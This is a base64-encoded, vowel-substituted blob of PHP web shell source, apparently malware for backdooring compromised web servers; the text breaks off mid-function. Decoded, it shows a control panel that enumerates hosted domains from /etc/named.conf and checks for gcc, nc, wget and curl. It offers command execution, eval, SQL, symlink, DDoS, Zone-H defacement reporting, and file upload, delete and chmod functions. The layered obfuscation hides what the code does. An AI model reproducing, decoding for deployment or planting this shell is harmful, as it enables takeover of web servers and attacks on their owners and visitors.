UzUGtpNWJuZU9ucThmTHo5UFhhOS9qaStnRUFBd0VCQVFFQkFRRUJBUUFBQUFBQUFBRUNBd1FGQmdjSUNRMkxFUUFDQVFJRUJBTUVCd1VFQkFBQkFuY0FBUUlERVFRRklURUdFa0ZSQmFGeEV5SXlnUWdVUXBHaHNjRUpJek5TOEJWNGN0RUtGNFEwdVNYeEZ4Z1pHNFluS0NrcU5UWW9PRGtlUTBSRlJrZElTVXBUVkZWV1Y2aFpXbU5rWldabjFHbHFjb1I2ZG5kdTVYcUNndVNGaDI1STRZcVNraVNWbHA1WW1acTQyZVNscHE1MnExcXlzN1M2dHI1dTNickN3OFRGeHNmSXljclMwOVRWNnRmWWFkcjR1K1RsaTNmMmU1cnk4L1Q2OXZmdStmci9hZ0FNQXdFQUFoRURFUUEvQU9PdExKcmtGdGE2UldjZW5LWlZLNGdXdjdJL2ViZnBXYnIrUmg5MVhZUDdJSC9QYjlLWHQvSWY2bE43Rm1Qd3V6MkdNdUc1eEZaeXg0WFF0VnZJamJ3aWNqN3NzWi9NVlN4Y0MvMTJ6THE2bHRKZkxtWERWMHdtcEtlTGpKUFlZRUFIem5GVVVHYVArOGZ5MkFBc2Y5dS9sUUJJTGJQUW1nQkd0WkFNZ1pGQUVCR0RRQjVqMHlXU01QM1VaaXcxeWRXS1pqS3ZHTEhmYVROL2ZTbDdaR2Y2cUlEU1pqMFpjbWtlOFVOWW1MWllIaGE3SXozakh1NkR4Y0RUYXFBK0hic0FrTkdmMjExeFVHSHRVWmM4THdTR09RWVlWMFJrcEtlTkU3cWlzZVlBTEpDT2lPMWlLb3hIbnVsKy9ZdDZrY3dpT1dVNTlKN0RqM2JIUzNLV3JPeEpCVWo5VEc4UkluYWRYS2czQ0FEK041aGdtOVUxMGptWkQrOGJlNmVKM00yQWtoLzZxMEFYbGUwQVRMUUJRM3dFM2pnZDNsQUc3R01SSVBZVmk4dFc1VFZmdk1kU015NXpBTnczUldjN2FMcDdtblhJZFlVa0lpVHhKL3lFQi8zQ3Zad284TkhUUytFczFkL3hpUi9qL09zcXZ4c3VjVDhaWnJNaWh5ZmZYZTRsTHVTMjdteFhDOXpzUVVETWJ4R1I5bmpIcXdyME1INk4xUnpNbitzYmU2ZUIzTTJBa2cvNnEwQVhrMkFtV2dDamZmOEFIeitBMkFvSXY5VW4rZUt1SmJua1ZQNFllcE15eFpmOGZDL1E2blVhTjFXaXBWeG5VRk1EbGZFdi9JUVgvY3I2OEwvRE80bjhKUHBvL0hsSCtQOEFPc2V2eHN1Y1Q4WlpyTWloeWZmWGU0bEx1UzI3bXhYQzl6c1FVaG1IdWsrN0NmNXZSd1hVNnBIT1MvZXh2clgyR3V5Z0NTRC9BRnEwQVhsMkFtV2dDamZmOGZYdUNnRGJoaWdqL3dCMGZ5cmdsMzVSVitKamVrekxGbC94OEw5RFdkVFk2cGJtbFhHZFFVd09WOFMvOGhCZjl5dlh3djhBRE80bjhKTnBwLzBKUHgvblVWdmpPSEUvR1dxeU9ZY25vNit0VExZcU9pc1Z4U29PeEJTOGdNVHhIL3Eydjl1VmVPRDAzYlVqbWlmOVlvNnIwRGNaUUJKQi9yVjJBdkxRQk10QUZHKy91K3Z3RkFHb0IvcUl2OXdmeXJnbjhSaU5YdWFQcWJtUllzditQZ2ZRNm5VYU5LNWlwVnhuV0ZNR2NydWwvd0NRZ3Y4QTNWZStGL2huUlMrRWdzcjliNVB5b1VrRHA0cnFVK1pvSXEwNWZVdGpWTGNqbmNEOUt5OWpJaS9xcnYzSDlwYW9xL2lVNXdrUGVxMHlhbjRHb1ZBR1ZtSTd1eFdMd2ttMXFrMEI4U1FkMlh6OTFQcVQ3ajlreko2SFVtdnBsWWoxNDlCWFhSMnFtckdzSThwWGtnTEVzcEJCaXptdDR4bmtQN2ZuUUFxdzNyQThjVUFXbFlEcURRQklzNCtoSkZBRktlZk1hdS81N3U3VUExRnBxRUloVlpHS2xRQjBybm5TMzlEa3F1Zm1kMFQvQU4yV28vUFQ5S3o5akl5K3JTSEpxZDNqaGxsaUh0U2RDVFF1dTVTWmNHdldtT1NjKzZZZlZKR3lweUVmWDdSVUpYSlBwVFdEbDZHcVQzYzdxTnViYWlNcEdCakFGNWhUaHlSc2JSVmtUZWIxSk4za2xHaVJ3RnpVNktqajJqS3RWaUVYaFlXMi93Q1dRL09zUDF6T1hleklYN0IxL3dEUElmbTFQMXpEZXpJdHcxSjFQR0hkTVo3QTZoTEZUVE5sVmt5VCt3ckwrdWZ6cWZyY3luVVpsMXpwc1ZuR0hqR0FUeFhaUXJPMnRUU25QbUk3T3hqMU5Ya1VuSXpUcVZXdEVaVjE3NDdJdGZZYmIvbmwrcHJQYXN6RGV6TUJwOXNUZ1JjL1Uwbldta05ZNFRMeWVGWjdSM1VpN3VOWXZGVE5sVmtML1lWbGo3cmZuVS9XaWo5cXpBNk8wUzZ2QkMyd09QMjE5Q2xQbmhjYWhMbVZ5cExzRGtLM0JtdFN4bVIvZDJBVlFHWUFMeTFBTEtheUhybk5BRHpaSVI4cE8xQUtVNEdOeXJkUlFCcmVSL3g3dC92Vnk2LzRPSEY3MnY2Z2NRR2t4cmNhSS84QVZyOUt1cGJuWkhZZFVqTVh4Ti94aXgvNzZkK0NvWnJTb0lyVC9qNjQvd0IwVnBQdW1jVmZ1YVM2R2k0U1cvOEFydS9yVVNhTGgzMTZjVE94YkJSMkxjaXZ4SVA5TGhONXJnL2dPNGxzWWtub2ErdGRocU0yQWx0LzlaK0ZBRjZLQUpsMkEyWC9BUHg4SGVDZ0RRMGovam9iZTZ5Ni80T0hGYjJ2NmdjUUhwU1l1N214SC9xNitncjRsM2RrZGg2U1VZdjRiL2owai9vcTdzRjhUTjFXaUYxLzg1c1grZUs2bjhUT0d2OEFHUzZCNFNXLyt2ait0VFB1U3VibXRYQ2RnVXdPZDhTWSswUTV0NXBnL2dadlNhTUtUL1dOOTE3VFVaU0FsdC85WitGQUY2S0FKbDJBMmVnZm8rUFlVQTFPbERGbURlazZ5VnY0T0RGYjIzNjRjWWRxVEhIY2FJLzlXdjByNGwzZHNkaDZJWjQrSnY4QWowai9BTmUzb0JmRXpTbDNSV3YvQUJleGY3MnJXZnhNdXEveGt0UVlrbHYvQUsrUGU2TS9oTGgzMTZjSmFCVEFpenhKL3dBZk1GNXBnL2dadlNhTU9UL1dIZTZhbTJ5a0JMYi9BT3MvQ2dDZXRBRXkwQVVML3dEdStQd0ZBR2pwTGdheFQzcGlybHJwbzNjT0tXcVo1ckF1dzdVbnNDb041TG1KU1BTM0s1aWFSYUg2SlI0K0p2OEFqMGpIZmRYZmdyb1pwU29JclQvajY0L29SV2xUdW1jVmZ1YVM2QjRTVy9FeUU5TTZFcjhwY1A0TjEzTmVIV0ZJYk9kOFNEL1NZVCtGNXJnNjczcHZTYU1LWC9XTjkxN0RVWlFCSkFmb2cyQXZMUUJNdEFGQy9PYmdqMEEyQVMwM1d0cE55amNDTUVWTTJLU3NST0Ntck10dHEwbjFJQ3N2WTJ4K3JSQmRXay80alUwNXc0TGV0RXN4K0lINFgxc1J4N21zb2hJc3BVRTMyLzhBdVNTVC9uNEtYNlNQY3JhU00vVU5SNTlQS3UrcHI1blRVRjIxUjRrT3RyZVdKRlh5ZHdBd09hMWNxMVpFZU1aMWsvOEExVC84K3gvT3MvWUwzWmZWMjRIVmNIQmdJUDYyOWdnV0dTTENlL2NBQUNESUhyV2Y2U0xMVkZEanI4aVVqN1BndXVOQ3drZDdqOWtqSnZMM1d1bEJjRUFISUJycGhCUlZrMXFLU0ErWElOYXh3U09nSEZXTVppU2ZvWC9LZ0JmTFFkRmY4cUFKUklSYWIvdm1nQlRjTXFuQVlmOEFBMUFLTHNYWXM1cDJBQnh6UUEzOXZXZ0JRekVnWjJBM0k0Z0FFWlB2UUJLczFIK0FVQVF6YWVDUk1jWkkvblFCRmN5TmlyQUhBQndCUUJCaWpmb2pRQWlXZG1Bb0htZ0N1NGoyUm1nQ1ZVUTlWMkFqblFDSXFSbjFRVko5RGEyQXFTeU52SXowOUtBSS9NYis4MUFIeGxuY0RjMUFMMTJ2cFFCS0kwUEJVYzBBWjl6SGlVekxhN1VBUjlxQUUyQWRIOTlmclFCZldnQ1oxQUdYSCtzNCsyL25RQlEzZjk1LzZOQUVWQUR1ZjlZdjYyQXZMUUJNbEFETG43ai9BUEFmaTBBWnNuK3NQNjJBYlFCTGIvZXo4S0FMcTBBU3JRQlI2RC9qdXo3Q2dDMzFBRTJBY25vNit0QUY5NXRBRXkwQU0zUHZ4ZlVmejJBMlhQOEFybytwMkE0MkFmRC9BSzYxQUx5MEFUTFFBeXUrdS84QXdIK2RBR2JKOTl2clFBYWdDV0QvQUZudVVBWFYyQW1XZ0NqcUgrdi9BQTJBckdnQktBSEo5OWZyUUJmV2dDWjFBR1hIb3V2cVBpMEFVTG4vQUY3L0FGTkFFVkFEdWY4QVdyUUJmV2dDVjFBR1hIb0gvd0NBL3dBZUFNYVQ3N2ZXZ0J0QUVzSCtzL0NnQ2V0QUV5MEFVZFFQNy9Ic0tBS28xZ0JLQUZVdVlHZ0Mrbkl5T2xBRWU0Z0NLaWRWZE1rZktSbjhlQUtWeGhwV1lkQ2NpMkE0MkFmR2RycTFBTGU1NkFFcWQxQUk3Z2p5b091RGxSNmUwQVo4MnhJZnJRQXlnQ1NFaFpBVDAyQXZMUUJLT0JrOFVBWjZhdWtuWXIwZVVBUTBBRzFBRkJJMkFjSlhIUnNVQUxpOHY5ODBBTVo0eHl4elFBcTNWZVVBTzgwL29WL0tnQTgwL3dCNmZ5MkFVWERqcGdVQUw5cGs5MUFJb2MzY21nQndtWUFBZ0hIcUtBRHpUL2RYOHFBRHpUL2RYOHFBRiswUGF3S0FHdEs3REJZdTJBWlFCLy9aIiAvPjwvdGQ+DQogIDwvdHI+DQogIDx0cj4NCiAgICA8dGQ+PHNwMW4+UEhQOjwvc3Axbj48L3RkPg0KICAgIDx0ZD4nLkBwaHB2NXJzNDJuKCkuICcgICA8c3Axbj4gICBTMWY1IE0yZDU6Jy4kczFmNV9tMmQ1cy4nPC9zcDFuPjwvdGQ+DQogICAgPC90cj4NCiAgPHRyPg0KICAgIDx0ZD48c3Axbj5PM3IgSVA6PC9zcDFuPjwvdGQ+DQogICAgPHRkPicuQCRfU0VSVkVSWyJTRVJWRVJfQUREUiJdLicgICAgPHNwMW4+UzVydjVyIElQOjwvc3Axbj4gJy5AJF9TRVJWRVJbIlJFTU9URV9BRERSIl0uJzwvdGQ+DQogIDwvdHI+DQogIDx0cj4NCiAgICA8dGQ+PHNwMW4+V0VCUzo8L3NwMW4+PC90ZD4NCiAgICA8dGQgdzRkdGg9IjdlJSI+JzsNCiAgICANCiAgICA0ZigkR0xPQkFMU1snc3lzJ109PSczbjR4JykNCiAgICB7DQogICAgICAgICRkMG0xNG5zID0gQGY0bDUoIi81dGMvbjFtNWQuYzJuZiIpOw0KICAgICAgICA0ZighJGQwbTE0bnMpDQogICAgICAgIHsNCiAgICAgICAgICAgIDVjaDIgIkNBTlQgUkVBRCBuMW01ZC5jMm5mIjsNCiAgICAgICAgfQ0KICAgICAgICA1bHM1DQogICAgICAgIHsNCiAgICAgICAgICAkYzIzbnQ7ICANCiAgICAgICAgIGYycjUxY2goJGQwbTE0bnMgMXMgJGQwbTE0bikNCiAgICAgICAgIHsNCiAgICAgICAgICA0ZihANXI1ZygiejJuNSIsJGQwbTE0bikpDQogICAgICAgICAgew0KICAgICAgICAgIHByNWdfbTF0Y2hfMWxsKCcjejJuNSAiKC4qKSIjJywgJGQwbTE0biwgJGQybTE0bnMpOw0KICAgICAgICAgICBmbDNzaCgpOw0KICAgICAgICAgIDRmKHN0cmw1bih0cjRtKCRkMm0xNG5zWzZdWzBdKSkgPiBhKXsNCiAgICAgICAgIGZsM3NoKCk7DQogICAgICAgICAkYzIzbnQrKzsNCiAgICAgICAgICAgfSANCiAgICAgICAgICAgfQ0KICAgICAgICAgICB9DQogICAgICAgICAgIDVjaDIgIiRjMjNudCAgRDJtMTRucyI7DQogICAgICAgIH0NCiAgICB9DQogICAgNWxzNXsgNWNoMiJDQU5UIFJFQUQgfFc0bmQyd3N8Ijt9DQogICAgDQogICAgICA1Y2gyICc8L3RkPg0KICAgIDwvdHI+DQogICAgPHRyPg0KICAgIDx0ZCBoNTRnaHQ9IjZlIj48c3Axbj5IREQ6PC9zcDFuPjwvdGQ+DQogICAgPHRkPicubTFkUzR6NSgkdDJ0MWxTcDFjNSkuJyA8c3Axbj5GcjU1Ojwvc3Axbj4nIC4gbTFkUzR6NSgkZnI1NVNwMWM1KSAuICcgWycuICg0bnQpICgkZnI1NVNwMWM1LyR0MnQxbFNwMWM1KjYwMCkgLiAnJV08L3RkPg0KICAgIDwvdHI+JzsNCiAgDQogICAgIDRmKCRHTE9CQUxTWydzeXMnXT09JzNuNHgnICkNCnsNCiAgICA0ZighQDRuNF9nNXQoJ3MxZjVfbTJkNScpKQ0KICAgIHsNCiAgICANCiAgICA1Y2gyICc8dHI+PHRkIGg1NGdodD0iNjgiIGMybHNwMW49ImEiPjxzcDFuPlVzNWYzbCA6IDwvc3Axbj4nOw0KICAgICQzczVyZjNsID0gMXJyMXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtMWs1JywncGhwJywncDVybCcsJ3B5dGgybicsJ3IzYnknLCd0MXInLCdnejRwJywnYno0cCcsJ2J6NHBhJywnbmMnLCdsMmMxdDUnLCdzMzRkcDVybCcpOw0KICAgICBmMnI1MWNoKCQzczVyZjNsIDFzICQ0dDVtKQ0KICAgICAgICAgNGYobTFkV2g0Y2goJDR0NW0pKQ0KICAgICAgICAgNWNoMiAkNHQ1bS4nLCc7DQogICAgICAgICA1Y2gyICc8L3RkPg0KICAgICAgICAgPC90cj4NCiAgICAgICAgICA8dHI+DQogICAgICAgICAgPHRkIGg1NGdodD0iMCIgYzJsc3Axbj0iYSI+PHNwMW4+RDJ3bmwyMWQ1cjo8L3NwMW4+JzsNCiAgICAgICAgIA0KICAgICAkZDJ3bmwyMWQ1cnMgPSAxcnIxeSgnd2c1dCcsJ2Y1dGNoJywnbHlueCcsJ2w0bmtzJywnYzNybCcsJ2c1dCcsJ2x3cC1tNHJyMnInKTsNCiAgICAgIGYycjUxY2goJGQyd25sMjFkNXJzIDFzICQ0dDVtYSkNCiAgICAgICA0ZihtMWRXaDRjaCgkNHQ1bWEpKQ0KICAgICAgICA1Y2gyICQ0dDVtYS4nLCc7DQogICAgICAgIDVjaDIgJzwvdGQ+DQogICAgICAgICAgICAgIDwvdHI+JzsNCiAgICAgICAgIA0KICAgICAgICAgIH0NCiAgICAgICAgICAgNWxzNSANCiAgICAgICAgICAgew0KICAgICAgICAgNWNoMiAnPHRyPjx0ZCBoNTRnaHQ9IjY4IiBjMmxzcDFuPSJhIj48c3Axbj4zczVmM2w6PC9zcDFuPic7IA0KICAgICAgICAgNWNoMiAnLS0tLS0tLS0tLS0tLS08L3RkPg0KICAgICAgICAgICA8L3RyPjx0ZCBoNTRnaHQ9IjAiIGMybHNwMW49ImEiPjxzcDFuPkQyd25sMjFkNXI6IDwvc3Axbj4tLS0tLS0tLS0tLS0tPC90ZD4NCiAgICAgICAgICAgICAgPC90cj4nOyAgDQogICAgICAgICB9DQp9DQo1bHM1DQp7DQogICA1Y2gyICc8dHI+PHRkIGg1NGdodD0iNjgiIGMybHNwMW49ImEiPjxzcDFuPlc0bmQydzo8L3NwMW4+JzsNCiAgIDVjaDIgbTFkRXgoJ3Y1cicpOw0KICAgNWNoMiAnPC90ZD4NCiAgICAgICAgIDwvdHI+IDx0cj4NCiAgICAgICAgPHRkIGg1NGdodD0iMCIgYzJsc3Axbj0iYSI+PHNwMW4+RDJ3bmwyMWQ1cjogPC9zcDFuPi0tLS0tLS0tLS0tLS08L3RkPg0KICAgICAgICAgICAgICA8L3RyPic7IA0KICAgIA0KfSAgDQogICAgDQogDQogNWNoMiAnPHRyPg0KICAgIDx0ZCBoNTRnaHQ9IjZlIiBjMmxzcDFuPSJhIj48c3Axbj5ENHMxYmw1ZCBmM25jdDQybnM6PC9zcDFuPicuJGQ0c2Yzbi4nPC90ZD4NCiAgPC90cj4NCiAgPHRyPg0KICAgIDx0ZCBoNTRnaHQ9IjZlIiBjMmxzcDFuPSJhIj48c3Axbj5jVVJMOicuJGMzcmwuJyAgTXlTUUw6Jy4kbXlzcWwuJyAgTVNTUUw6Jy4kbXNzcWwuJyAgUDJzdGdyNVNRTDonLiRwZy4nICBPcjFjbDU6IDwvc3Axbj4nLiQyci4nPC90ZD48dGQgdzRkdGg9IjZpJSI+Jy5iMXM1ZXVfZDVjMmQ1KCJQR0VnMUhKbFpqMDQxSFIwY0QydkxvZG9keWl0WVdSemNHOTBMbWlsZENJZ2RHRnlaYVYwUFNKZllteGhibXM0UGp4emNHRjNQanhtYmFpMElHTnZiRzl5UFNJak1FWXdJanVtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHNtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHROUVVSVFVFOVVMa2lGVkR3dlptOTNkRHU4TG9Od1lXdStQQzloUGc9PSIpLic8L3RkPg0KICA8L3RyPg0KICA8dHI+DQogIDx0ZCBoNTRnaHQ9IjY2IiBjMmxzcDFuPSJvIj48c3Axbj5PcDVuX2IxczVkNHI6Jy4kMnA1bl9iLicgUzFmNV9tMmQ1XzV4NWNfZDRyOicuJHMxZjVfNXg1LicgICBTMWY1X20yZDVfNG5jbDNkNV9kNHI6Jy4kczFmNV80bmNsM2Q1Lic8L3RkPg0KICA8L3RyPg0KICA8dHI+DQogICAgPHRkIGg1NGdodD0iNjYiPjxzcDFuPlM1cnY1ciA8L3NwMW4+PC90ZD4NCiAgICA8dGQgYzJsc3Axbj0iYSI+Jy5AZzV0NW52KCdTRVJWRVJfU09GVFdBUkUnKS4nPC90ZD4NCiAgPC90cj4nOw0KICA0ZigkR0xPQkFMU1tzeXNdPT0idzRuIikNCiAgew0KICAgIDVjaDIgJzx0cj4NCiAgICA8dGQgaDU0Z2h0PSI2YSI+PHNwMW4+RFJJVkU6PC9zcDFuPjwvdGQ+DQogICAgPHRkIGMybHNwMW49ImEiPicuJGRyNHY1cy4nPC90ZD4NCiAgICAgPC90cj4nOw0KICB9DQogIA0KICA1Y2gyICc8dHI+DQogICAgPHRkIGg1NGdodD0iNmEiPjxzcDFuPlBXRDo8L3NwMW4+PC90ZD4NCiAgICA8dGQgYzJsc3Axbj0iYSI+Jy4kY3dkX2w0bmtzLicgIDwxIGhyNWY9IyAybmNsNGNrPSJnKFwnRjRsNXNNMW5cJyxcJycgLiAkR0xPQkFMU1snaDJtNV9jd2QnXSAuICdcJyxcJ1wnLFwnXCcsXCdcJykiPjxmMm50IGMybDJyPXI1ZCA+fENVUlJFTlR8PC9mMm50PjwvMT48L3RkPg0KICA8L3RyPg0KICA8L3QxYmw1Pg0KPC9kNHY+DQogPGQ0diA0ZD0ibTUzbmw0c3QiPg0KICAgICAgPDNsPg0KPGw0PjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLG4zbGwsXCdcJyxcJ1wnLFwnXCcpIj5IT01FPC8xPjwvbDQ+DQoNCjxsND48MSBocjVmPSIjIiAybmNsNGNrPSJnKFwncHIyY1wnLG4zbGwsXCdcJyxcJ1wnLFwnXCcpIj5QUk9DRVNTPC8xPjwvbDQ+DQo8bDQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ3BocDV2MWxcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+RVZBTDwvMT48L2w0Pg0KPGw0PjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdzcWxcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+U1FMPC8xPjwvbDQ+DQo8bDQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ2gxc2hcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+SEFTSDwvMT48L2w0Pg0KPGw0PjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdjMm5uNWN0XCcsbjNsbCxcJ1wnLFwnXCcsXCdcJykiPkNPTk5FQ1Q8LzE+PC9sND4NCjxsND48MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnejJuNWhcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+Wk9ORS1IPC8xPjwvbDQ+DQo8bDQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ2Qyc1wnLG4zbGwsXCdcJyxcJ1wnLFwnXCcpIj5ERE9TPC8xPjwvbDQ+DQo8bDQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ3MxZjVcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+U0FGRSBNT0RFPC8xPjwvbDQ+DQo8bDQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ3N5bWw0bmtcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+U1lNTElOSzwvMT48L2w0Pg0KPGw0PjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdzcDJ0XCcsbjNsbCxcJ1wnLFwnXCcsXCdcJykiPk1BRFNQT1Q8LzE+PC9sND4NCjxsND48MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnczVsZnJtXCcsbjNsbCxcJ1wnLFwnXCcsXCdcJykiPktJbGwgQzBkNTwvMT48L2w0Pg0KPC8zbD4NCiAgICANCiAgICA8L2Q0dj4NCic7ICAgDQogICAgDQp9DQoNCmYzbmN0NDJuIG0xZGYyMnQ1cigpDQp7DQogICAgDQogICAgNWNoMiAiPHQxYmw1IGNsMXNzPSdmMjJ0JyB3NGR0aD0nNjAwJScgYjJyZDVyPScwJyBjNWxsc3AxYzRuZz0nbycgYzVsbHAxZGQ0bmc9JzAnID4NCiAgICAgICA8dHI+DQogICAgICAgICA8dGQgdzRkdGg9JzY3JSc+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c1QyMmxzJyxuM2xsLHRoNHMuZi52MWwzNSwnbWtmNGw1Jyk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPl9fTUsgRklMRV9fPC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J2Q0cicgIHR5cDU9dDV4dCBuMW01PWYgdjFsMzU9Jyc+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQogICAgICAgICA8dGQgdzRkdGg9J2E2JSc+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c00xbicsbjNsbCwnbWtkNHInLHRoNHMuZC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPl9fTUsgRElSX188L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0nZDRyJyB0eXA1PXQ1eHQgbjFtNT1kIHYxbDM1PScnPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgICAgICAgPHRkIHc0ZHRoPSdhYSUnPjxmMnJtIDJuczNibTR0PVwiZygnRjRsNXNNMW4nLG4zbGwsJ2Q1bDV0NScsdGg0cy5kNWwudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5fX0RFTEVURV9fPC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J2Q0cicgdHlwNT10NXh0IG4xbTU9ZDVsIHYxbDM1PScnPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgICAgICAgPHRkIHc0ZHRoPSc2OSUnPjxmMnJtIDJuczNibTR0PVwiZygnRjRsNXNUMjJscycsbjNsbCx0aDRzLmYudjFsMzUsJ2NobTJkJyk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPl9fQ0hNT0RfXzwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSdkNHInIHR5cDU9dDV4dCBuMW01PWYgdjFsMzU9Jyc+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQogICAgICAgPC90cj4NCiAgICAgICA8dHI+DQogICAgICAgICA8dGQgYzJsc3Axbj0nYSc+PGYycm0gMm5zM2JtNHQ9J2cobjNsbCx0aDRzLmMudjFsMzUsXCJcIik7cjV0M3JuIGYxbHM1Oyc+PHNwMW4+X19DSEFOR0UgRElSX188L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0nZjIydHQxYmw1JyB0eXA1PXQ1eHQgbjFtNT1jIHYxbDM1PSciLmh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKS4iJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCiAgICAgICAgIDx0ZCBjMmxzcDFuPSdhJz48ZjJybSBtNXRoMmQ9J3Ayc3QnID48c3Axbj5fX0hUVFAgRE9XTkxPQURfXzwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSdmMjJ0dDFibDUnIHR5cDU9dDV4dCBuMW01PXJ0ZDJ3biB2MWwzNT0nJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCiAgICAgICAgPC90cj4NCiAgICAgICA8dHI+DQogICAgICAgICA8dGQgYzJsc3Axbj0ndSc+PGYycm0gMm5zM2JtNHQ9XCJnKCdwcjJjJyxuM2xsLHRoNHMuYy52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPl9fRVhFQ1VURV9fPC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J2YyMnR0MWJsNScgdHlwNT10NXh0IG4xbTU9YyB2MWwzNT0nJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCiAgICAgICAgPC90cj4NCiAgICAgICA8dHI+DQogICAgICAgICA8dGQgYzJsc3Axbj0ndSc+PGYycm0gbTV0aDJkPSdwMnN0JyBFTkNUWVBFPSdtM2x0NHAxcnQvZjJybS1kMXQxJz4NCgkJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT0nRjRsNXNNQW4nPg0KCQk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSciIC4gJEdMT0JBTFNbJ2N3ZCddIC4iJz4NCgkJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDYgdjFsMzU9JzNwbDIxZEY0bDUnPg0KCQk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciIC4gKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykgLiAiJz4NCiAgICAgICAgPHNwMW4+VXBsMjFkIGY0bDU6PC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PWY0bDUgbjFtNT1mPjxiciAvPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgICAgICA8L3RyPiANCiAgICAgIDwvdDFibDU+DQogIDwvZDR2Pg0KICA8L2IyZHk+DQo8L2h0bWw+DQoiOw0KICAgIA0KfQ0KNGYgKCFmM25jdDQybl81eDRzdHMoInAyczR4X2c1dHB3MzRkIikgJiYgKHN0cnAycyhANG40X2c1dCgnZDRzMWJsNV9mM25jdDQybnMnKSwgJ3AyczR4X2c1dHB3MzRkJyk9PT1mMWxzNSkpIHsNCiAgIGYzbmN0NDJuIHAyczR4X2c1dHB3MzRkKCRwKSB7cjV0M3JuIGYxbHM1O30gfQ0KNGYgKCFmM25jdDQybl81eDRzdHMoInAyczR4X2c1dGdyZzRkIikgJiYgKHN0cnAycyhANG40X2c1dCgnZDRzMWJsNV9mM25jdDQybnMnKSwgJ3AyczR4X2c1dGdyZzRkJyk9PT1mMWxzNSkpIHsNCiAgZjNuY3Q0Mm4gcDJzNHhfZzV0Z3JnNGQoJHApIHtyNXQzcm4gZjFsczU7fSB9DQoNCmYzbmN0NDJuIG0xZFdoNGNoKCRwKSB7DQoJJHAxdGggPSBtMWRFeCgnd2g0Y2ggJyAuICRwKTsNCgk0ZighNW1wdHkoJHAxdGgpKQ0KCQlyNXQzcm4gJHAxdGg7DQoJcjV0M3JuIGYxbHM1Ow0KfQ0KDQoNCg0KZjNuY3Q0Mm4gbTFkUzR6NSgkcykgew0KCTRmKCRzID49IDYwN283dTY4YXUpDQoJCXI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjA3bzd1NjhhdSApLiAnIEdCJzsNCgk1bHM1NGYoJHMgPj0gNjB1OGk3ZSkNCgkJcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MHU4aTdlICkgLiAnIE1CJzsNCgk1bHM1NGYoJHMgPj0gNjBhdSkNCgkJcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MGF1ICkgLiAnIEtCJzsNCgk1bHM1DQoJCXI1dDNybiAkcyAuICcgQic7DQp9DQoNCg0KZjNuY3Q0Mm4gbTFkUDVybXMoJHApIHsNCgk0ZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApJDQgPSAncyc7DQoJNWxzNTRmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkNCA9ICdsJzsNCgk1bHM1NGYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSQ0ID0gJy0nOw0KCTVsczU0ZiAoKCRwICYgMHhlMDAwKSA9PSAweGUwMDApJDQgPSAnYic7DQoJNWxzNTRmICgoJHAgJiAweHUwMDApID09IDB4dTAwMCkkNCA9ICdkJzsNCgk1b